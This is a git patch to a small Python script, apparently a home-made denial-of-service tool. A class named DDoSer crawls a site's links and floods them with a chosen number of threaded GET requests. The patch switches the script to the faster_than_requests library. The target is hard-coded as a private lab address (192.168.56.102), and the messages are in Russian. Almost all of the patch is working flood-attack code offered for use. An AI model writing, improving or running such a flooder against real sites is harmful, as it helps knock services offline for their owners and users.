From 53c9a0f8f339b9ab9e7e114c67f6b14c3a254ccb Mon Sep 17 00:00:00 2001 From: Llloooggg Date: Sat, 25 Apr 2020 00:33:39 +0300 Subject: [PATCH] faster_than_requests --- .gitignore | 4 ++- __init__.py | 76 ++++++++++++++++++++++++++--------------------------- 2 files changed, 41 insertions(+), 39 deletions(-) mode change 100644 => 100755 __init__.py diff --git a/.gitignore b/.gitignore index c67789c..b0a9d4a 100644 --- a/.gitignore +++ b/.gitignore @@ -2,4 +2,6 @@ ./venv ./vscode ./data.db -./__pycache__ \ No newline at end of file +./__pycache__ +./map.txt +./maps \ No newline at end of file diff --git a/__init__.py b/__init__.py old mode 100644 new mode 100755 index bfc36da..3d784e6 --- a/__init__.py +++ b/__init__.py @@ -1,11 +1,11 @@ +#!venv/bin/python3 + import os import link_extractor import time import random import progressbar -# import urllib.request as requests # urlib -# import faster_than_requests as requests # faster_than_requests -import requests +import faster_than_requests as requests from datetime import datetime from threading import Thread @@ -13,27 +13,27 @@ from threading import Thread global requestCountSuccess, requestCountExecuted if not os.path.exists('./maps/'): - os.makedirs('./maps/') + os.makedirs('./maps/') def url_grab(full_url): - if os.path.exists(f'./maps/{url}'): + if os.path.exists(f'./maps/{url}'): - with open(f'./maps/{url}', 'r') as f: - subUrls = f.read().splitlines() - else: + with open(f'./maps/{url}', 'r') as f: + subUrls = f.read().splitlines() + else: - subUrls = link_extractor.extractor('http://' + url) + subUrls = link_extractor.extractor('http://' + url) - os.mknod(f'./maps/{url}') - with open(f'./maps/{url}', 'w') as f: - for link in subUrls: - print(link.strip(), file=f) + os.mknod(f'./maps/{url}') + with open(f'./maps/{url}', 'w') as f: + for link in subUrls: + print(link.strip(), file=f) - print(datetime.now().strftime('[%X] ') + 'Карта сайта получена') - return subUrls + print(datetime.now().strftime('[%X] ') + 'Карта сайта получена') + return subUrls class DDoSer(Thread): @@ -46,8 +46,8 @@ class DDoSer(Thread): global requestCountSuccess, requestCountExecuted # responce = requests.urlopen(self.url).getcode() # urlib - responce = requests.get(self.url).status_code - if responce == 200: + responce = requests.get(self.url)['status'] + if responce == '200 OK': requestCountSuccess += 1 requestCountExecuted += 1 @@ -55,29 +55,29 @@ class DDoSer(Thread): if __name__ == '__main__': - # url = input(datetime.now().strftime('[%x %X] ') + 'Введите адрес сайта: ') - url = '192.168.56.102' + # url = input(datetime.now().strftime('[%x %X] ') + 'Введите адрес сайта: ') + url = '192.168.56.102' - subUrls = url_grab(url) + subUrls = url_grab(url) - requestCount = int(input(datetime.now().strftime('[%X] ') + 'Введите число запросов: ')) - print() + requestCount = int(input(datetime.now().strftime('[%X] ') + 'Введите число запросов: ')) + print() - startTime = time.time() - requestCountExecuted = 0 - requestCountSuccess = 0 + startTime = time.time() + requestCountExecuted = 0 + requestCountSuccess = 0 - with progressbar.ProgressBar(max_value=requestCount) as bar: - for i in range(requestCount): - url = random.choice(subUrls) - thread = DDoSer(url) - thread.start() - thread.join() - bar.update(requestCountExecuted) - - while requestCountExecuted < requestCount: - bar.update(requestCountExecuted) + with progressbar.ProgressBar(max_value=requestCount) as bar: + for i in range(requestCount): + url = random.choice(subUrls) + thread = DDoSer(url) + thread.start() + thread.join() + bar.update(requestCountExecuted) + + while requestCountExecuted < requestCount: + bar.update(requestCountExecuted) - print('\n' + datetime.now().strftime('[%X] ') + 'Всего выслано запросов: ' + str(requestCountExecuted)) - print(datetime.now().strftime('[%X] ') + 'Успешных запросов: ' + str(requestCountSuccess)) - print(datetime.now().strftime('[%X] ') + 'Средняя скорость: ' + str(round(requestCountExecuted/(time.time() - startTime))) + ' з/с') + print('\n' + datetime.now().strftime('[%X] ') + 'Всего выслано запросов: ' + str(requestCountExecuted)) + print(datetime.now().strftime('[%X] ') + 'Успешных запросов: ' + str(requestCountSuccess)) + print(datetime.now().strftime('[%X] ') + 'Средняя скорость: ' + str(round(requestCountExecuted/(time.time() - startTime))) + ' з/с')